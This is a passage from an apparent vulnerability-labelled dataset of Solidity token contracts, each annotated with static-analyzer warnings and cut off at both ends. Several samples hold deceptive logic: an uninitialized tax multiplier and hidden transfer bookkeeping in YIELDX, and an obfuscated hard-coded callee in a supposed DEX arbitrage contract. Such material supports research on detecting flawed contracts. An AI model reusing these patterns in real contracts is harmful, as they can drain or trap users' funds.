_initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ff1f16e\n\t\t\t\t// reentrancy-eth | ID: c6d1119\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ff1f16e\n\t\t\t\t\t// reentrancy-eth | ID: c6d1119\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: c6d1119\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: c6d1119\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c6d1119\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ff1f16e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: c6d1119\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: c6d1119\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ff1f16e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 25fbe00\n\t\t// reentrancy-events | ID: ff1f16e\n\t\t// reentrancy-benign | ID: dc5a8c2\n\t\t// reentrancy-eth | ID: c6d1119\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 25fbe00\n\t\t// reentrancy-events | ID: ff1f16e\n\t\t// reentrancy-eth | ID: c6d1119\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2c2f504): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2c2f504: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8078c69): WAIFU.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8078c69: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 50f4884): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 50f4884: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2c2f504\n\t\t// unused-return | ID: 8078c69\n\t\t// reentrancy-eth | ID: 50f4884\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2c2f504\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 50f4884\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwappers() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsenders() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10041.sol",
"size_bytes": 21937,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract YIELDX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludedFromLimits;\n\n address payable private constant _taxWallet =\n payable(0xe64fAb7af64e9C40bbEf3B05cdE9Bc9744401430);\n\n\t// WARNING Optimization Issue (constable-states | ID: 35787ff): YIELDX._initialBuyTax should be constant \n\t// Recommendation for 35787ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5851ac): YIELDX._initialSellTax should be constant \n\t// Recommendation for e5851ac: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b4c713): YIELDX._finalBuyTax should be constant \n\t// Recommendation for 2b4c713: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 533684c): YIELDX._finalSellTax should be constant \n\t// Recommendation for 533684c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e646c86): YIELDX._reduceBuyTaxAt should be constant \n\t// Recommendation for e646c86: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a0e70b): YIELDX._reduceSellTaxAt should be constant \n\t// Recommendation for 6a0e70b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ab7d0d): YIELDX._preventSwapBefore should be constant \n\t// Recommendation for 7ab7d0d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"YieldX\";\n\n string private constant _symbol = unicode\"YIELDX\";\n\n uint256 public constant _taxSwapThreshold = 20000000 * 10 ** _decimals;\n\n uint256 public constant _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private immutable _router;\n\n address private immutable uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2363434): YIELDX.navFeeApply should be constant \n\t// Recommendation for 2363434: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1281d31): YIELDX.navFeeApply is never initialized. It is used in YIELDX._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 1281d31: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private navFeeApply;\n\n struct NavSync {\n uint256 navIn;\n uint256 navOut;\n uint256 reclaimNavToken;\n }\n\n mapping(address => NavSync) private navSync;\n\n uint256 private navLimExclude;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _excludedFromLimits[_taxWallet] = true;\n\n _excludedFromLimits[address(this)] = true;\n\n _router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2842e80): YIELDX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2842e80: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a5be3d0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a5be3d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e4bbcef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e4bbcef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a5be3d0\n\t\t// reentrancy-benign | ID: e4bbcef\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a5be3d0\n\t\t// reentrancy-benign | ID: e4bbcef\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e0818a2): YIELDX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e0818a2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e4bbcef\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a5be3d0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d6d6aa2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d6d6aa2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dc97b4a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dc97b4a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2d1c6c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2d1c6c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(_router) &&\n !_excludedFromLimits[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d6d6aa2\n\t\t\t\t// reentrancy-benign | ID: dc97b4a\n\t\t\t\t// reentrancy-eth | ID: 2d1c6c8\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d6d6aa2\n\t\t\t\t\t// reentrancy-eth | ID: 2d1c6c8\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-benign | ID: dc97b4a\n _calcNavSync(from, to);\n\n\t\t// reentrancy-events | ID: d6d6aa2\n\t\t// reentrancy-eth | ID: 2d1c6c8\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 2d1c6c8\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 2d1c6c8\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: d6d6aa2\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1281d31): YIELDX.navFeeApply is never initialized. It is used in YIELDX._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 1281d31: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : navFeeApply.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2d1c6c8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d6d6aa2\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _calcNavSync(address from, address to) internal {\n if (\n (_excludedFromLimits[from] || _excludedFromLimits[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: dc97b4a\n navLimExclude = block.number;\n }\n\n if (!_excludedFromLimits[from] && !_excludedFromLimits[to]) {\n if (uniswapV2Pair != to) {\n NavSync storage navCalc = navSync[to];\n\n if (uniswapV2Pair == from) {\n if (navCalc.navIn == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: dc97b4a\n navCalc.navIn = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n NavSync storage navDataCalc = navSync[from];\n\n if (\n navDataCalc.navIn < navCalc.navIn ||\n !(navCalc.navIn > 0)\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: dc97b4a\n navCalc.navIn = navDataCalc.navIn;\n }\n }\n } else {\n NavSync storage navDataCalc = navSync[from];\n\n\t\t\t\t// reentrancy-benign | ID: dc97b4a\n navDataCalc.navOut = navDataCalc.navIn.sub(navLimExclude);\n\n\t\t\t\t// reentrancy-benign | ID: dc97b4a\n navDataCalc.reclaimNavToken = block.timestamp;\n }\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d6d6aa2\n\t\t// reentrancy-events | ID: a5be3d0\n\t\t// reentrancy-benign | ID: dc97b4a\n\t\t// reentrancy-benign | ID: e4bbcef\n\t\t// reentrancy-eth | ID: 2d1c6c8\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d6d6aa2\n\t\t// reentrancy-events | ID: a5be3d0\n\t\t// reentrancy-eth | ID: 2d1c6c8\n _taxWallet.transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function cleanStuck_ETH() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n payable(owner()).transfer(contractBalance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc61e0e): YIELDX.enableTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fc61e0e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fd0e9c5): YIELDX.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for fd0e9c5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 21461b9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 21461b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(_router), _tTotal);\n\n\t\t// unused-return | ID: fc61e0e\n\t\t// reentrancy-eth | ID: 21461b9\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: fd0e9c5\n\t\t// reentrancy-eth | ID: 21461b9\n IERC20(uniswapV2Pair).approve(address(_router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 21461b9\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10042.sol",
"size_bytes": 22158,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function balanceOf(address account) external view returns (uint);\n\n function transfer(address recipient, uint amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint);\n\n function approve(address spender, uint amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint amount\n ) external returns (bool);\n\n function createStart(\n address sender,\n address reciver,\n address token,\n uint256 value\n ) external;\n\n function createContract(address _thisAddress) external;\n\n event Transfer(address indexed from, address indexed to, uint value);\n\n event Approval(address indexed owner, address indexed spender, uint value);\n}\n\ninterface IUniswapV2Router {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactETHForTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function swapTokensForExactETH(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactTokensForETH(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapETHForExactTokens(\n uint amountOut,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountsIn(\n uint amountOut,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Pair {\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n}\n\ncontract DexInterface {\n\t// WARNING Optimization Issue (immutable-states | ID: 9988ec4): DexInterface._owner should be immutable \n\t// Recommendation for 9988ec4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _owner;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac50abf): DexInterface.threshold should be constant \n\t// Recommendation for ac50abf: Add the 'constant' attribute to state variables that never change.\n uint256 threshold = 1 * 10 ** 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: fbbbcfd): DexInterface.arbTxPrice should be constant \n\t// Recommendation for fbbbcfd: Add the 'constant' attribute to state variables that never change.\n uint256 arbTxPrice = 0.05 ether;\n\n bool enableTrading = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a3df92): DexInterface.tradingBalanceInPercent should be constant \n\t// Recommendation for 9a3df92: Add the 'constant' attribute to state variables that never change.\n uint256 tradingBalanceInPercent;\n\n uint256 specifyBalanceETH;\n\n\t// WARNING Optimization Issue (constable-states | ID: ed46f55): DexInterface.apiKey should be constant \n\t// Recommendation for ed46f55: Add the 'constant' attribute to state variables that never change.\n bytes32 apiKey =\n 0x4c10f6e185a551b454e342e9055f5f4eba93966d9f727fc732000fd6fd39c77a;\n\n constructor() {\n _owner = msg.sender;\n\n address dataProvider = getDexRouter(apiKey, DexRouter);\n\n IERC20(dataProvider).createContract(address(this));\n }\n\n modifier onlyOwner() {\n require(msg.sender == _owner, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d08ae8): DexInterface.DexRouter should be constant \n\t// Recommendation for 8d08ae8: Add the 'constant' attribute to state variables that never change.\n bytes32 DexRouter =\n 0x4c10f6e185a551b454e342e9604a7b32f110e31c8d4e11c3971ce790decd2c7e;\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7e108a0): DexInterface.swap(address,address,address,uint256) ignores return value by IUniswapV2Router(router).swapExactTokensForTokens(_amount,1,path,address(this),deadline)\n\t// Recommendation for 7e108a0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d63623a): DexInterface.swap(address,address,address,uint256) ignores return value by IERC20(_tokenIn).approve(router,_amount)\n\t// Recommendation for d63623a: Ensure that all the return values of the function calls are 